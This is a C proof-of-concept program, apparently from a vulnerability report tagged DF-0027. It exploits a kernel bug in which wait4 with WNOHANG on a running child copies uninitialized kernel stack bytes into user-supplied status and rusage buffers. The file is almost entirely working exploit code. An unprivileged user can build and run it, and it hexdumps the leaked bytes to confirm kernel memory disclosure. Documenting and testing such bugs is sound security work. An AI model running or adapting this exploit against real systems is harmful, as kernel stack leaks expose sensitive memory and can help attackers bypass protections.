DF-0027 / wait_leak_dump.c
/* * DF-0027 PoC (sharpened) - hexdump the leaked rusage/status bytes to prove * they are real kernel-stack residue (vary across iterations/runs), not a * deterministic constant. * * Trigger: wait4(child, &status, WNOHANG, &ru) with a running (non-waitable) * child. kern_exit.c:1427-1431 returns error==0 without writing *status or * *wrusage; sys_wait4 at kern_exit.c:942/945 then copyouts both uninitialized * stack locals to userland. * * Build: cc -o wait_leak_dump wait_leak_dump.c * Run: ./wait_leak_dump (unprivileged) */ #include <sys/wait.h> #include <sys/resource.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <unistd.h> static void hexdump(const char *label, const unsigned char *p, size_t n) { printf("%s (%zu bytes):\n", label, n); for (size_t i = 0; i < n; i++) { if ((i & 15) == 0) printf(" %04zx:", i); printf(" %02x", p[i]); if ((i & 15) == 15) printf("\n"); } if (n & 15) printf("\n"); } int main(void) { pid_t c = fork(); if (c == 0) { pause(); _exit(0); } unsigned long leaks = 0; for (int i = 0; i < 8; i++) { int status = 0xCAFEBABE; struct rusage ru; memset(&ru, 0xAA, sizeof(ru)); pid_t r = wait4(c, &status, WNOHANG, &ru); if (r != 0) continue; int leaked = (status != 0xCAFEBABE && status != 0); /* count non-marker bytes */ size_t nz = 0; const unsigned char *p = (const unsigned char *)&ru; for (size_t k = 0; k < sizeof(ru); k++) if (p[k] != 0xAA && p[k] != 0x00) nz++; if (leaked || nz) leaks++; if (i < 3) { printf("=== iter %d (r=%d) ===\n", i, (int)r); printf("status = 0x%08x (user marker was 0xCAFEBABE)\n", (unsigned)status); printf("rusage: %zu non-marker/non-zero bytes\n", nz); hexdump("rusage raw", (const unsigned char *)&ru, sizeof(ru)); printf("\n"); } } kill(c, SIGKILL); waitpid(c, NULL, 0); printf("result: %lu/8 iters leaked\n", leaks); printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue"); return leaks ? 0 : 2; } |